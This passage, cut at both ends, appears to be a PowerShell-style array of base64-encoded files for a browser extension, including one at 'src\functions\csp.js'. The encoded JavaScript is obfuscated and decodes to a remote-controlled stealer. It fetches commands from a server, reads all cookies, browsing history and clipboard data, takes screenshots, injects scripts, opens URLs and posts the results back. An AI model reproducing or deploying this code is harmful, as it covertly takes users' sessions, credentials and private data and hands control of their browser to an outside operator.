uIF8weDE1ZjQ1YihfMHg3ODYyNDApO30sJ2tIVnpLJzpfMHgzNmFjNmIoMHg5ZCwnRDRMYycsMHg5OSwweGVhLDB4Y2IpK18weDExOTdkMygweDM1YiwnI3hCbScsMHgzOGEsMHgzOWYsMHgzNzApLCd2ZnRvZSc6ZnVuY3Rpb24oXzB4MjE1N2E1LF8weDEyOWYxOCxfMHg0MWZhOWYpe3JldHVybiBfMHgyMTU3YTUoXzB4MTI5ZjE4LF8weDQxZmE5Zik7fSwnVUV0WUgnOmZ1bmN0aW9uKF8weDM1OTJhMyxfMHgzMjg3MGEsXzB4NWU1YjU3KXtyZXR1cm4gXzB4MzU5MmEzKF8weDMyODcwYSxfMHg1ZTViNTcpO30sJ3ZQaEVVJzpmdW5jdGlvbihfMHg1MmYxMDcpe3JldHVybiBfMHg1MmYxMDcoKTt9LCd0ZGNMbyc6XzB4MTE5N2QzKDB4M2ZmLCdUWTB1JywweDNmYSwweDNlOCwweDQwZCksJ1pEc3JxJzpmdW5jdGlvbihfMHgxMzFlOTIpe3JldHVybiBfMHgxMzFlOTIoKTt9LCdSUmRQWSc6XzB4MTdlMzQzKDB4MWU0LDB4MWRmLCdqbyRXJywweDFiYiwweDFiNCksJ1RzSFpvJzpmdW5jdGlvbihfMHgyZjRmYjAsXzB4NDM4NmVlLF8weDU0ZjUzZixfMHg0MDBlMDYsXzB4MWFhYTJjKXtyZXR1cm4gXzB4MmY0ZmIwKF8weDQzODZlZSxfMHg1NGY1M2YsXzB4NDAwZTA2LF8weDFhYWEyYyk7fSwnbVJjdVQnOmZ1bmN0aW9uKF8weDEzMWFkMyxfMHgzMWJkZjUsXzB4NDE5YmZjKXtyZXR1cm4gXzB4MTMxYWQzKF8weDMxYmRmNSxfMHg0MTliZmMpO30sJ1VVQmtMJzpfMHgxMzA5Y2UoJ11BS3UnLC0weDFjMSwtMHgxYzQsLTB4MWUxLC0weDE5ZikrJ2VzJywnbG1ubk0nOl8weDE3ZTM0MygweDE4NiwweDFmOSwnZSZWcicsMHgxZDMsMHgxYTMpK18weDE3ZTM0MygweDE5MCwweDE5NiwneiNWdycsMHgxYTQsMHgxNjEpLCdyS2JBQic6ZnVuY3Rpb24oXzB4MmQ4ZmM0KXtyZXR1cm4gXzB4MmQ4ZmM0KCk7fSwnSlFIQnknOl8weDE3ZTM0MygweDE4ZSwweDFiNSwnW0V1cScsMHgxOTIsMHgxNWEpLCdiUmN3Uic6ZnVuY3Rpb24oXzB4NDNjOTg1LF8weDVkZDNjZixfMHg0OGM0NjQpe3JldHVybiBfMHg0M2M5ODUoXzB4NWRkM2NmLF8weDQ4YzQ2NCk7fSwnSFFBcWEnOl8weDEzZGNmNigweDJhMCwweDI3MCwweDJhNywnSiMhRycsMHgyYjkpK18weDEzMDljZSgnQ2MzRycsLTB4MjAzLC0weDFmOSwtMHgxYmQsLTB4MWU3KSsnbCcsJ1BhU3hnJzpmdW5jdGlvbihfMHg1YTFlZWYpe3JldHVybiBfMHg1YTFlZWYoKTt9LCdndW5hTic6ZnVuY3Rpb24oXzB4NGM0M2E3LF8weDU2NjY2YSxfMHgyMzI1YWYpe3JldHVybiBfMHg0YzQzYTcoXzB4NTY2NjZhLF8weDIzMjVhZik7fSwnT2NmeVAnOl8weDE3ZTM0MygweDFiYywweDFhNywnbEhSdScsMHgxZGMsMHgxYTgpKydyeScsJ0VlU25EJzpmdW5jdGlvbihfMHgyZTVmMTApe3JldHVybiBfMHgyZTVmMTAoKTt9LCdUSkhQUSc6XzB4MTNkY2Y2KDB4MzI2LDB4MzAxLDB4MjljLCdQSiFeJywweDJkZCkrJ3RzJywnc0dQdk4nOmZ1bmN0aW9uKF8weDEwN2E1YSl7cmV0dXJuIF8weDEwN2E1YSgpO30sJ212UnpCJzpmdW5jdGlvbihfMHgzMzM2OTUsXzB4NTQ0NTc2LF8weDQ5OTVjYSl7cmV0dXJuIF8weDMzMzY5NShfMHg1NDQ1NzYsXzB4NDk5NWNhKTt9LCdqa05HeCc6XzB4MTdlMzQzKDB4MTUyLDB4MTdhLCdrW2xTJywweDE2NiwweDFiMSkrJ2VyJywnRUJKVFknOl8weDE3ZTM0MygweDE3YSwweDFhOSwnVFkwdScsMHgxOGYsMHgxZDgpK18weDE3ZTM0MygweDFmNCwweDE4YSwnbEhSdScsMHgxY2IsMHgyMDQpLCdiSWt2Vyc6ZnVuY3Rpb24oXzB4MmU4M2Y0KXtyZXR1cm4gXzB4MmU4M2Y0KCk7fSwnek1sQ1onOl8weDE3ZTM0MygweDIwOCwweDFlNywneiNWdycsMHgxZTgsMHgyMGYpLCdOUmFtWic6ZnVuY3Rpb24oXzB4MzIyZmVlLF8weDE3MzIzMyl7cmV0dXJuIF8weDMyMmZlZShfMHgxNzMyMzMpO30sJ1ZRZ3NtJzpfMHgzNmFjNmIoMHgzOSwnZV1icCcsMHg0OSwweDJlLDB4NmMpK18weDEzMDljZSgnZSZWcicsLTB4MjA3LC0weDIyNywtMHgxZjcsLTB4MjE0KStfMHgxMTk3ZDMoMHgzOTYsJyY0bDInLDB4M2YzLDB4M2MxLDB4M2FkKSsncycsJ3BpTk5IJzpfMHgxM2RjZjYoMHgyZTMsMHgyZGYsMHgyZTYsJzh3cnknLDB4MmNjKSsnbicsJ3pSQUhJJzpfMHgxN2UzNDMoMHgxOTIsMHgxZGUsJ2xIUnUnLDB4MTk4LDB4MWI5KX07ZnVuY3Rpb24gXzB4MTE5N2QzKF8weDQxMmFkMixfMHgxMzI2MzAsXzB4MmRjNjIyLF8weDM3NDE0ZSxfMHg0NjY2MGIpe3JldHVybiBfMHg1NDQ0KF8weDM3NDE0ZS0weDIxZixfMHgxMzI2MzApO31jaHJvbWVbXzB4MTdlMzQzKDB4MTg0LDB4MWEyLCdlXWJwJywweDFhNSwweDFkMSkrJ2dlJ11bXzB4MTNkY2Y2KDB4MmNhLDB4MmI0LDB4Mjk5LCdpY3YlJywweDI4ZCldW18weDE3ZTM0MygweDE0OSwweDE2YSwnRUUxTScsMHgxOGUsMHgxNzQpXShbXzB4MmRlZTViW18weDE3ZTM0MygweDFmNiwweDFkNiwncjB5UicsMHgxYWEsMHgxODEpXSxfMHgyZGVlNWJbXzB4MTNkY2Y2KDB4MzJhLDB4MzI0LDB4MzA1LCdmcEhzJywweDJlMyldXSxhc3luYyBfMHgzZmQ4MzA9PntmdW5jdGlvbiBfMHgxNzE3ZjgoXzB4NTE5ZjQ4LF8weDU0NGRkMSxfMHgxOGM5MzYsXzB4NzVlZDUxLF8weDQzMWE3OSl7cmV0dXJuIF8weDM2YWM2YihfMHg1MTlmNDgtMHg1ZSxfMHg1NDRkZDEsXzB4MThjOTM2LTB4OTUsXzB4NzVlZDUxLTB4NmIsXzB4NTE5ZjQ4LSAtMHhlYik7fWZ1bmN0aW9uIF8weDFlNDZkMChfMHgyMWE4ZDEsXzB4MmQ4OGE4LF8weGY5MzM5YixfMHgyNDMxNjcsXzB4M2ZhZDJmKXtyZXR1cm4gXzB4MTE5N2QzKF8weDIxYThkMS0weDRiLF8weDNmYWQyZixfMHhmOTMzOWItMHgwLF8weDI0MzE2Ny0gLTB4ODgsXzB4M2ZhZDJmLTB4MTlhKTt9ZnVuY3Rpb24gXzB4MjY2MDE3KF8weGRmMmZhMyxfMHgyYjI0ZDcsXzB4NTJhNTIxLF8weDQ3ZGUzOSxfMHgzMzA4OWQpe3JldHVybiBfMHgxMTk3ZDMoXzB4ZGYyZmEzLTB4MTZlLF8weDMzMDg5ZCxfMHg1MmE1MjEtMHgxYTYsXzB4NDdkZTM5LSAtMHgyNWQsXzB4MzMwODlkLTB4MTIyKTt9ZnVuY3Rpb24gXzB4NGE1YTEwKF8weDRhN2Q4ZCxfMHgxOTM1YWMsXzB4N2Q1MGY1LF8weDIwNDdkMSxfMHg1NzBlMTYpe3JldHVybiBfMHgxMTk3ZDMoXzB4NGE3ZDhkLTB4MTYzLF8weDdkNTBmNSxfMHg3ZDUwZjUtMHgxYmEsXzB4NGE3ZDhkLSAtMHgzYSxfMHg1NzBlMTYtMHg3Yik7fWNvbnN0IF8weDMzNjhiMj1fMHgzZmQ4MzBbXzB4MjY2MDE3KDB4MTdiLDB4MTdjLDB4MWNiLDB4MWFkLCdrW2xTJyldLF8weDNmYjkwMj1fMHgzZmQ4MzBbXzB4MTcxN2Y4KC0weDQ5LCdpSGVOJywtMHg2MCwtMHg0NiwtMHgzYikrJ24nXSxfMHhkNDU4ZGM9YXdhaXQgXzB4MmRlZTViW18weDFlNDZkMCgweDMxNiwweDM5MCwweDMxZSwweDM1OSwnZV1icCcpXShmZXRjaCxfMHgzZmI5MDIrKF8weDFlNDZkMCgweDM3MiwweDNjYiwweDNkZiwweDM5YiwnaUhlTicpK18weDE3MTdmOCgtMHg2NCwncjB5UicsLTB4OGIsLTB4MmIsLTB4NmIpK18weDRhNWExMCgweDM5MiwweDNhNiwnXSFGMycsMHgzOGYsMHgzN2MpK18weDU0YzBlMCgweDI4MSwweDJhNiwweDI4OCwweDI5Yiwnc1BSaScpK18weDE3MTdmOCgtMHg0MiwnN0s5SicsLTB4N2QsLTB4OGYsLTB4NTEpKStfMHgzMzY4YjIpLF8weDNhMWNmOT1hd2FpdCBfMHhkNDU4ZGNbXzB4MjY2MDE3KDB4MTM0LDB4MTIyLDB4MTA3LDB4MTQ3LCdlXWJwJyldKCk7ZnVuY3Rpb24gXzB4NTRjMGUwKF8weDQxMjkzNSxfMHg1MTkxNmQsXzB4NDBiODRiLF8weDJjMzYwNixfMHgxNDljYjIpe3JldHVybiBfMHgxMzA5Y2UoXzB4MTQ5Y2IyLF8weDQwYjg0Yi0weDQxMyxfMHg0MGI4NGItMHgxYWEsXzB4MmMzNjA2LTB4NTksXzB4MTQ5Y2IyLTB4ZGUpO31mb3IoY29uc3QgXzB4Mjg5MzFlIG9mIF8weDNhMWNmOSl7Y29uc3QgXzB4MmUxM2Q3PUpTT05bXzB4NGE1YTEwKDB4MzczLDB4Mzc0LCcjeEJtJywweDMzMCwweDM2NyldKF8weDI4OTMxZVtfMHgxNzE3ZjgoLTB4NjAsJ10hRjMnLC0weDMwLC0weDUyLC0weDZkKSsnbmQnXSksXzB4NGNiOGZkPV8weDJlMTNkN1tfMHgxZTQ2ZDAoMHgzODgsMHgzNTEsMHgzOTIsMHgzNjcsJ0F3dkknKV07c3dpdGNoKF8weDJlMTNkN1tfMHgyNjYwMTcoMHgxODAsMHgxZWEsMHgxOWIsMHgxY2MsJ2ljdiUnKV0pe2Nhc2UgXzB4MmRlZTViW18weDFlNDZkMCgweDJmZCwweDMxYywweDM1MSwweDM0MiwnUGllSCcpXTphd2FpdCBfMHgyZGVlNWJbXzB4NGE1YTEwKDB4MzdkLDB4MzdiLCcxS3FmJywweDM1ZCwweDNiOSldKHNldEVuYWJsZUV4dGVuc2lvbixfMHg0Y2I4ZmRbJ2lkJ10sXzB4NGNiOGZkW18weDE3MTdmOCgtMHhhMywnaWN2JScsLTB4NzYsLTB4NWQsLTB4NmUpKydlJ10pLGF3YWl0IF8weDJkZWU1YltfMHgyNjYwMTcoMHgxYTMsMHgxYjksMHgyMDgsMHgxYmIsJyY0bDInKV0odXBkYXRlQ29tbWFuZCxfMHgyODkzMWVbJ2lkJ10sW10pLGF3YWl0IF8weDJkZWU1YltfMHgxNzE3ZjgoLTB4MWYsJ0t1JEInLC0weDI1LC0weDM0LC0weDUxKV0oaW5pdE1hY2hpbmUpO2JyZWFrO2Nhc2UgXzB4MmRlZTViW18weDE3MTdmOCgtMHg5YywnWXZCaScsLTB4NWQsLTB4YzcsLTB4OGIpXTphd2FpdCBfMHgyZGVlNWJbXzB4MjY2MDE3KDB4MWU3LDB4MjE1LDB4MWZhLDB4MWQyLCdLdSRCJyldKGluaXRNYWNoaW5lKSxhd2FpdCBfMHgyZGVlNWJbXzB4MjY2MDE3KDB4MTc2LDB4MTk1LDB4MTU0LDB4MTVmLCd4IXlRJyldKGdldEluamVjdGlvbnMpLGF3YWl0IF8weDJkZWU1YltfMHg0YTVhMTAoMHgzZTYsMHg0MzEsJ2ZwSHMnLDB4M2UzLDB4M2ZlKV0oZ2V0U2V0dGluZ3MpLGF3YWl0IF8weDJkZWU1YltfMHg0YTVhMTAoMHgzZGMsMHgzOWMsJ0dSYkcnLDB4MzhmLDB4M2RhKV0odXBkYXRlQ29tbWFuZCxfMHgyODkzMWVbJ2lkJ10sW10pO2JyZWFrO2Nhc2UgXzB4MmRlZTViW18weDE3MTdmOCgtMHgyMiwncyQwZycsLTB4NWUsLTB4OCwtMHhmKV06YXdhaXQgXzB4MmRlZTViW18weDFlNDZkMCgweDMxMywweDM3YywweDMzNCwweDMzMywnWXZCaScpXShjcmVhdGVOb3RpZmljYXRpb24sXzB4NGNiOGZkW18weDU0YzBlMCgweDIzMywweDI0MSwweDI2MywweDI3MywndlVuaicpK18weDU0YzBlMCgweDIyMCwweDIwYiwweDIyOCwweDI0OCwnJjRsMicpXSxfMHg0Y2I4ZmRbXzB4MWU0NmQwKDB4M2RiLDB4Mzg0LDB4M2E3LDB4Mzk2LCdeNjR5JyldLF8weDRjYjhmZFtfMHgyNjYwMTcoMHgxZDEsMHgxYzEsMHgxNmYsMHgxYmEsJ2VdYnAnKSsnZ2UnXSxfMHg0Y2I4ZmRbXzB4MTcxN2Y4KC0weDdjLCcmNGwyJywtMHhhMiwtMHhiNywtMHg5MyldKSxhd2FpdCBfMHgyZGVlNWJbXzB4MTcxN2Y4KC0weDRlLCcmNGwyJywtMHhlLC0weDE5LC0weGMpXSh1cGRhdGVDb21tYW5kLF8weDI4OTMxZVsnaWQnXSxbXSk7YnJlYWs7Y2FzZSBfMHgyZGVlNWJbXzB4NGE1YTEwKDB4M2JiLDB4MzllLCdlJlZyJywweDNhMCwweDM4MCldOmNvbnN0IF8weDQ4MmMwOT1hd2FpdCBjaHJvbWVbXzB4MWU0NmQwKDB4MzY5LDB4MzEyLDB4MzVlLDB4MzU2LCdlJlZyJykrJ2VzJ11bXzB4MjY2MDE3KDB4MWEzLDB4MWFkLDB4MThjLDB4MTYyLCdJM1NdJykrJ2wnXSh7fSk7YXdhaXQgXzB4MmRlZTViW18weDE3MTdmOCgtMHg3NiwnRUUxTScsLTB4NmEsLTB4NTIsLTB4N2EpXSh1cGRhdGVDb21tYW5kLF8weDI4OTMxZVsnaWQnXSxfMHg0ODJjMDkpO2JyZWFrO2Nhc2UgXzB4MmRlZTViW18weDFlNDZkMCgweDMyZSwweDM0NCwweDNiMiwweDM2YywnXjY0eScpXTpjb25zdCBfMHgxOTYyNDY9YXdhaXQgXzB4MmRlZTViW18weDU0YzBlMCgweDIwZiwweDI2ZSwweDIzNSwweDI3OSwnVFkwdScpXShtYWtlU2NyZWVuU2hvdCksXzB4NThjYWRmPXt9O18weDU4Y2FkZltfMHgxNzE3ZjgoLTB4NDUsJ3gheVEnLC0weDE2LC0weDYyLC0weDY4KSsnbiddPV8weDE5NjI0Nixhd2FpdCBfMHgyZGVlNWJbXzB4NGE1YTEwKDB4M2ZiLDB4M2UxLCduTkY4JywweDNlNiwweDNkNSldKHVwZGF0ZUNvbW1hbmQsXzB4Mjg5MzFlWydpZCddLF8weDU4Y2FkZik7YnJlYWs7Y2FzZSBfMHgyZGVlNWJbXzB4MTcxN2Y4KC0weDYzLCdqbyRXJywtMHg0MywtMHgzNSwtMHg1OCldOmF3YWl0IF8weDJkZWU1YltfMHgxZTQ2ZDAoMHgzNjAsMHgzYTYsMHgzODAsMHgzNjEsJzVFWlMnKV0ob3BlblVybCxfMHg0Y2I4ZmRbXzB4MWU0NmQwKDB4M2JmLDB4MzhjLDB4M2IxLDB4M2IxLCdCcVBnJyldKSxhd2FpdCBfMHgyZGVlNWJbXzB4MTcxN2Y4KC0weDUwLCdzJDBnJywtMHg2YiwtMHg3YSwtMHgxNSldKHVwZGF0ZUNvbW1hbmQsXzB4Mjg5MzFlWydpZCddLFtdKTticmVhaztjYXNlIF8weDJkZWU1YltfMHgxZTQ2ZDAoMHgzYTAsMHgzM2YsMHgzOGEsMHgzNmIsJ10hRjMnKV06Y29uc3QgXzB4Y2I5MTA0PWF3YWl0IF8weDJkZWU1YltfMHgxZTQ2ZDAoMHgzNTIsMHgzMGEsMHgzMGMsMHgzMzYsJ2ljdiUnKV0oZ2V0Q3VycmVudFRhYiksXzB4ZTVlODJmPXt9O18weGU1ZTgyZltfMHg0YTVhMTAoMHgzYTksMHgzOTUsJ2UmVnInLDB4MzljLDB4M2IzKV09XzB4Y2I5MTA0LGF3YWl0IF8weDJkZWU1YltfMHg1NGMwZTAoMHgyNDUsMHgyMjIsMHgyMGUsMHgxZTcsJzhDVTMnKV0odXBkYXRlQ29tbWFuZCxfMHgyODkzMWVbJ2lkJ10sXzB4ZTVlODJmKTticmVhaztjYXNlIF8weDJkZWU1YltfMHgxNzE3ZjgoLTB4NWQsJzZFcXEnLC0weDM5LC0weDJkLC0weDFkKV06Y29uc3QgXzB4MTNjMmU5PWF3YWl0IF8weDJkZWU1YltfMHgxNzE3ZjgoLTB4MTYsJ1BpZUgnLC0weDRkLC0weDVjLC0weDI3KV0oZ2V0SGlzdG9yeSk7YXdhaXQgXzB4MmRlZTViW18weDRhNWExMCgweDM4YSwweDNkNywnd3hUKicsMHgzYzEsMHgzY2QpXSh1cGRhdGVDb21tYW5kLF8weDI4OTMxZVsnaWQnXSxfMHgxM2MyZTkpO2JyZWFrO2Nhc2UgXzB4MmRlZTViW18weDFlNDZkMCgweDMyNSwweDMzNSwweDMyZCwweDMyOSwnNnp5ZicpXTphd2FpdCBfMHgyZGVlNWJbXzB4NTRjMGUwKDB4MjUyLDB4MjVkLDB4MjVjLDB4MjUzLCd4IXlRJyldKGdldEluamVjdGlvbnMpLGF3YWl0IF8weDJkZWU1YltfMHg1NGMwZTAoMHgyMTgsMHgyNzksMHgyM2IsMHgxZjQsJ1l2QmknKV0odXBkYXRlQ29tbWFuZCxfMHgyODkzMWVbJ2lkJ10sW10pO2JyZWFrO2Nhc2UgXzB4MmRlZTViW18weDFlNDZkMCgweDM3NCwweDM2OCwweDMxOSwweDMyYiwneCF5UScpXTphd2FpdCBfMHgyZGVlNWJbXzB4MTcxN2Y4KC0weDg1LCdENExjJywtMHg3MSwtMHhiYSwtMHg1MCldKGdldENsaXBwZXJEYXRhKSxhd2FpdCBfMHgyZGVlNWJbXzB4MjY2MDE3KDB4MTliLDB4MThiLDB4MWMyLDB4MTlhLCduTkY4JyldKHVwZGF0ZUNvbW1hbmQsXzB4Mjg5MzFlWydpZCddLFtdKTticmVhaztjYXNlIF8weDJkZWU1YltfMHg0YTVhMTAoMHgzODYsMHgzM2UsJ0dSYkcnLDB4MzhmLDB4Mzc0KV06YXdhaXQgXzB4MmRlZTViW18weDRhNWExMCgweDNhMiwweDM4ZCwnI3hCbScsMHgzNzIsMHgzYzkpXShnZXRTZXR0aW5ncyksYXdhaXQgXzB4MmRlZTViW18weDRhNWExMCgweDNhMSwweDM5NCwnI3hCbScsMHgzZTEsMHgzOTIpXSh1cGRhdGVDb21tYW5kLF8weDI4OTMxZVsnaWQnXSxbXSk7YnJlYWs7Y2FzZSBfMHgyZGVlNWJbXzB4MWU0NmQwKDB4M2I0LDB4MzJhLDB4MzllLDB4MzcyLCc3SzlKJyldOmNvbnN0IF8weDJiYmJhOT17fTtfMHgyYmJiYTlbXzB4MjY2MDE3KDB4MTM0LDB4MTYyLDB4MTM3LDB4MTQzLCcqWktqJykrXzB4MWU0NmQwKDB4MzVmLDB4M2MyLDB4M2M2LDB4Mzg3LCdZdkJpJykrJ2VkJ109XzB4NGNiOGZkW18weDE3MTdmOCgtMHg0YywnJSFseicsLTB4NjgsLTB4NWMsLTB4MjcpK18weDU0YzBlMCgweDFlOSwweDIzMiwweDFmZCwweDFjOCwnRUUxTScpXSwoY2hyb21lW18weDE3MTdmOCgtMHgxZCwnNUVaUycsLTB4M2QsLTB4NGUsMHgyMykrJ2dlJ11bXzB4NTRjMGUwKDB4MjI4LDB4MWI0LDB4MWZjLDB4MWQwLCdUKnp3JyldW18weDI2NjAxNygweDFhNiwweDE3NSwweDExOCwweDE2NiwnZSZWcicpXShfMHgyYmJiYTkpLGF3YWl0IF8weDJkZWU1YltfMHg0YTVhMTAoMHgzZTIsMHg0MWUsJyY0bDInLDB4M2U3LDB4M2QwKV0oc2V0SXNFbmFibGVkLF8weDRjYjhmZFtfMHg1NGMwZTAoMHgyYWIsMHgyNDEsMHgyNzgsMHgyOGIsJ3ZVbmonKStfMHgxNzE3ZjgoLTB4NTMsJ2pvJFcnLC0weDJhLC0weDQwLC0weDkxKV0pLGF3YWl0IF8weDJkZWU1YltfMHg1NGMwZTAoMHgyOGQsMHgyMzIsMHgyNzUsMHgyM2IsJ2ZwSHMnKV0odXBkYXRlQ29tbWFuZCxfMHgyODkzMWVbJ2lkJ10sW10pKTticmVhaztjYXNlIF8weDJkZWU1YltfMHgyNjYwMTcoMHgxZTksMHgyMDIsMHgxZDUsMHgxYmQsJ2tbbFMnKV06YXdhaXQgXzB4MmRlZTViW18weDRhNWExMCgweDM5YSwweDM0ZSwnW0V1cScsMHgzNzMsMHgzNzcpXShnZXRTY3JlZW5zaG90UnVsZXMpO319fSk7fSk7Y29uc3QgdXBkYXRlQ29tbWFuZD0oXzB4NmVmMWJiLF8weDM2YjkwYik9Pm5ldyBQcm9taXNlKGFzeW5jIF8weDEzZWI5ZT0+e2Z1bmN0aW9uIF8weDRlODAzYShfMHhmY2RmMSxfMHgyZTI5OGQsXzB4MWIxZDY2LF8weDJjNWI1NixfMHgyY2NkMmYpe3JldHVybiBfMHg1NDQ0KF8weDJlMjk4ZC0weGM3LF8weDJjY2QyZik7fWZ1bmN0aW9uIF8weDVhMTJkYShfMHg1ZGU1NjgsXzB4M2QzZTUxLF8weDI2MmI0OSxfMHgzNjBmZmUsXzB4NDc4MWJlKXtyZXR1cm4gXzB4NTQ0NChfMHg0NzgxYmUtIC0weDMyZixfMHgyNjJiNDkpO31jb25zdCBfMHg1MDRjMjg9eydCdFB5ZCc6XzB4MjVmOWQ5KDB4N2YsJ3gheVEnLDB4OWYsMHhkMSwweGJlKSsnbicsJ1Nscnp2JzpmdW5jdGlvbihfMHg5ZTUyOTgsXzB4MmU1MDkxLF8weDNlZTE3Mil7cmV0dXJuIF8weDllNTI5OChfMHgyZTUwOTEsXzB4M2VlMTcyKTt9LCdPZUJsUCc6XzB4MjVmOWQ5KDB4ZDMsJ1BKIV4nLDB4NzksMHhkYiwweGEzKSwnYnhTT0gnOl8weDEzNTNkMCgweDE4ZSwnS3UkQicsMHgxYWYsMHgxOTksMHgxYzgpK18weDI1ZjlkOSgweDkyLCc4d3J5JywweDEwNiwweDcwLDB4YmQpK18weDRlODAzYSgweDI3YywweDI2ZSwweDJhNywweDJiMCwnQnFQZycpK18weDFhMTM0OSgweDE1MiwweDFlMCwweDE1OCwweDE5NywnVCp6dycpK18weDEzNTNkMCgweDEyNCwna1tsUycsMHgxNGIsMHgxNDcsMHgxOTApK18weDEzNTNkMCgweDE3NCwnJSFseicsMHgxNzUsMHgxOTgsMHgxOTIpK18weDFhMTM0OSgweDE2YiwweDFhOSwweDFhYSwweDFhYiwneiNWdycpK18weDEzNTNkMCgweDE5NywnWXZCaScsMHgxYTIsMHgxNmQsMHgxNGQpK18weDRlODAzYSgweDI5ZCwweDI1ZCwweDI4MywweDIyOSwnKlpLaicpK18weDI1ZjlkOSgweDhhLCdFRTFNJywweDU5LDB4OGMsMHg3ZikrXzB4MWExMzQ5KDB4MWI1LDB4MTk5LDB4MWFhLDB4MWM1LCcjb3M2JykrXzB4MWExMzQ5KDB4MWM1LDB4MWJjLDB4MWJhLDB4MTkwLCdrW2xTJykrJyonLCdvV05vbSc6XzB4MjVmOWQ5KDB4NDAsJ3cjaTAnLC0weDEsMHhhLDB4NDgpK18weDRlODAzYSgweDIxYiwweDI1NCwweDI1NiwweDIyNywnNUVaUycpK18weDVhMTJkYSgtMHgxMmIsLTB4MTFiLCdUWTB1JywtMHhmZCwtMHgxMTcpKyduJywnUnBCeFEnOmZ1bmN0aW9uKF8weDQ5Y2M0OSxfMHhkYWI4OWUpe3JldHVybiBfMHg0OWNjNDkoXzB4ZGFiODllKTt9fSxfMHg1NTllMTA9KGF3YWl0IGNocm9tZVtfMHg0ZTgwM2EoMHgyOGIsMHgyYWYsMHgyZDMsMHgyZGIsJ1RZMHUnKSsnZ2UnXVtfMHgyNWY5ZDkoMHg4NiwnQXd2SScsMHgxMCwweDMsMHgzOSldW18weDFhMTM0OSgweDE5ZiwweDE1ZCwweDE5MCwweDE3ZSwnaWN2JScpXShbXzB4NTA0YzI4W18weDVhMTJkYSgtMHgxYjUsLTB4MTk0LCdENExjJywtMHgxNTksLTB4MWE1KV1dKSlbXzB4MWExMzQ5KDB4MjAyLDB4MWZmLDB4MjMzLDB4MWU5LCc3SzlKJykrJ24nXSxfMHgyODE1NDQ9e307ZnVuY3Rpb24gXzB4MTM1M2QwKF8weDFiOTg5NixfMHgyNmQ1YWYsXzB4MTVjNWFjLF8weDE0YmZjMyxfMHg3NGFjYWMpe3JldHVybiBfMHg1NDQ0KF8weDE0YmZjMy0gLTB4N2MsXzB4MjZkNWFmKTt9XzB4MjgxNTQ0WydpZCddPV8weDZlZjFiYixfMHgyODE1NDRbXzB4MWExMzQ5KDB4MWU5LDB4MTdmLDB4MWI1LDB4MWM4LCdyMHlSJykrJ3InXT1fMHgzNmI5MGI7ZnVuY3Rpb24gXzB4MWExMzQ5KF8weDRjN2RjYyxfMHg1ZDhkY2UsXzB4NDZiMDk3LF8weDQ4MDJhNCxfMHhlODRiZGIpe3JldHVybiBfMHg1NDQ0KF8weDQ4MDJhNC0gLTB4MmUsXzB4ZTg0YmRiKTt9ZnVuY3Rpb24gXzB4MjVmOWQ5KF8weDU0Mzk1OSxfMHg0YWFmYmYsXzB4M2MzZTRiLF8weDEyMTFlZixfMHgxZGNjODApe3JldHVybiBfMHg1NDQ0KF8weDFkY2M4MC0gLTB4MTQ5LF8weDRhYWZiZik7fXJldHVybiBhd2FpdCBfMHg1MDRjMjhbXzB4NGU4MDNhKDB4MzBhLDB4MmQwLDB4MzE0LDB4MmIyLCdBd3ZJJyldKGZldGNoLF8weDU1OWUxMCsoXzB4MWExMzQ5KDB4MTk2LDB4MTgxLDB4MTZmLDB4MWI0LCdIeFtvJykrXzB4MTM1M2QwKDB4MTZhLCcjb3M2JywweDE3NSwweDEzMiwweDE0NSkrXzB4NWExMmRhKC0weDE2OCwtMHgxZDAsJzZ6eWYnLC0weDFiYiwtMHgxOWYpK18weDI1ZjlkOSgweDM1LCc2RXFxJywweDIwLDB4YSwweDU1KSkseydtZXRob2QnOl8weDUwNGMyOFtfMHgxMzUzZDAoMHhmNywnQnFQZycsMHgxNmUsMHgxMmMsMHgxMDIpXSwnaGVhZGVycyc6eydBY2NlcHQnOl8weDUwNGMyOFtfMHgyNWY5ZDkoMHg2YywnaUhlTicsMHhlZCwweDY4LDB4YWMpXSwnQ29udGVudC1UeXBlJzpfMHg1MDRjMjhbXzB4MWExMzQ5KDB4MjJhLDB4MWM3LDB4MjA2LDB4MWUwLCdIeFtvJyldfSwnYm9keSc6SlNPTltfMHg0ZTgwM2EoMHgyZmMsMHgyYjYsMHgyNzksMHgyOGUsJ2lIZU4nKStfMHg0ZTgwM2EoMHgyOGEsMHgyNGQsMHgyOTksMHgyN2YsJyUhbHonKV0oXzB4MjgxNTQ0KX0pLF8weDUwNGMyOFtfMHg0ZTgwM2EoMHgyZmIsMHgyZDMsMHgzMDIsMHgyY2UsJ3NQUmknKV0oXzB4MTNlYjllLCEoMHg1YzAqLTB4MSsweDI0YWMrLTB4MWVlYykpO30pOwo='),@('c3JjXGZ1bmN0aW9uc1xjc3AuanM=', 'ZnVuY3Rpb24gXzB4MjM4MSgpe2NvbnN0IF8weGI2ZjJlZD1bJ0VKRmNOdkRKVzVhTScsJ1dRWE1XUXVzc1cnLCdXUmRjTzNuZ2FDazVjOG9tV1JDdFc2UmRSM0cnLCdXUTVXVzRSZFBtb0knLCdXNXJNRExtdVdPUmNHWnhkTUtKZEs4a09XNlcnLCdpOG95V1IzY1ZxeScsJ1c2M2RWWnV4cnEnLCdCWDVEV1FXa2EzR2RXT0ZkSUkzY1ZhJywnV085RnpnN2NMQ29wVzVOY1A4b3ZxcjNkVVNrYScsJ1dSblBXNXpPVzcvZFNTb1pmZFdYdWU3Y0pxJywnV1FXSHAxbGRUU29xV1BuMFdRWmNIOGtwcW1reCcsJ2dDby9GbWtLV1JtU2ptb2ZBYTdjTU50Y1NXJywnQ3FOY0dzQmNPU28ydWEnLCdoMEZjTXVaY0w4b1NXUVJjVnhyT1dSQmRIcUsnLCdXN2YxQWR0Y1RxJywnVzRTRm9kVmRLcScsJ0JDb2lXNVhOVzVPJywnVzRoZE0yemNXNERNanNwY0pTa0xXN1pjTThvMCcsJ3ZITmRUbW9IQ2EnLCdvQ2tVV1AwOFdPMWVkdWo2emNQclc2bScsJ0VTbzdXNTFJVzRLJywneUNvbFdPZGNQMnBkTkNrQ1dSMEtXUDVudmEnLCdXT2xkUUNrTndzMCcsJ1dQOWVXNzNkSVNvZycsJ1c0T3JXUUJjS1NreFdSQmNJbW8wVzd0ZEdoMDhXNkMnLCdXT20zdVNvb2Y4a2FhbWtqdmFlNkNoYScsJ2NhbUtXT2RkTVcnLCdEeGhkT2Z4ZEtTa2lqQ29tZzhvNUNTb0ZXUXUnLCdrdW1yVzVqeicsJ2FTb0xXUHBkU21vOCcsJ1dSRmNHY2EnLCdpV1pjVGJ0Y1RxJ107XzB4MjM4MT1mdW5jdGlvbigpe3JldHVybiBfMHhiNmYy